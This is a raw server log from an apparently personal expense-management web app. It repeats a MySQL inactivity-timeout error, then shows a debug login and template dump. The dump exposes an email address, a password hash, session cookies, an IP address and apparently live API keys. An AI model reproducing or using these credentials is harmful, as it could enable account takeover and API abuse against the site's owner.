    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 15:03:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 15:46:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 15:46:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 18:01:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 18:01:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 18:43:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 18:43:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 20:07:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 20:07:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 21:33:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 21:33:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 03:42:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 03:42:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 04:26:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 04:26:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 04:42:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 04:42:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 05:24:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 05:24:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 06:20:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 06:20:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 07:29:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 07:29:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-07 07:59:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-07 07:59:22' as DATETIME)"
}
2026-05-07T12:19:32.404Z server-connect:router Serving templateView /
2026-05-07T12:19:32.405Z server-connect:app Executing action step identify
2026-05-07T12:19:32.406Z server-connect:app options: { provider: 'security' }
2026-05-07T12:19:32.452Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-05-07T12:19:32.455Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-07T12:19:32.501Z server-connect:output identity: 1
2026-05-07T12:19:32.501Z server-connect:app Executing action step restrict
2026-05-07T12:19:32.502Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-07T12:19:32.502Z server-connect:output restrict: undefined
2026-05-07T12:19:32.502Z server-connect:app Executing action step restrict
2026-05-07T12:19:32.502Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-07T12:19:32.503Z server-connect:output restrict: undefined
2026-05-07T12:19:32.503Z server-connect:router Render template layouts/main
2026-05-07T12:19:32.503Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQel3pCvRLMmaW8Jyf%2BEIOA%3D%3D.y06VtLoaEXnqF5OML9pMFgtIAo7AZ4gGL5Sl3QJ7WZqKGpAL8WHnExuDZGyg1gbW04G0VLUh2xM7DHC1oXW9kf5H38gb2x4E9wMacWnls9%2BuvdyKpkq5MyFT9QvFYG9ZiM9QI1IG41BWgEeP5moeHH4SUO7mRJeQ364UbyKcXSU%3D.rzBIsdeyHSoPL5Qvc9TggyXRBMYijDjdFbHAq2YUjHE',
    'x-forwarded-for': '49.43.184.85',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-08T12:19:32.403Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.184.85',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQel3pCvRLMmaW8Jyf%2BEIOA%3D%3D.y06VtLoaEXnqF5OML9pMFgtIAo7AZ4gGL5Sl3QJ7WZqKGpAL8WHnExuDZGyg1gbW04G0VLUh2xM7DHC1oXW9kf5H38gb2x4E9wMacWnls9%2BuvdyKpkq5MyFT9QvFYG9ZiM9QI1IG41BWgEeP5moeHH4SUO7mRJeQ364UbyKcXSU%3D.rzBIsdeyHSoPL5Qvc9TggyXRBMYijDjdFbHAq2YUjHE',
    'HTTP_X_FORWARDED-FOR': '49.43.184.85',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-05-07T12:19:38.599Z server-connect:router Serving serverConnect /api/masters/get-items
2026-05-07T12:19:38.600Z server-connect:app Executing action step identify
2026-05-07T12:19:38.600Z server-connect:app options: { provider: 'security' }
2026-05-07T12:19:38.600Z server-connect:output identity: 1
2026-05-07T12:19:38.600Z server-connect:app Executing action step restrict
2026-05-07T12:19:38.600Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-07T12:19:38.600Z server-connect:output restrict: undefined
2026-05-07T12:19:38.600Z server-connect:app Executing action step select
2026-05-07T12:19:38.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-05-07T12:19:38.605Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
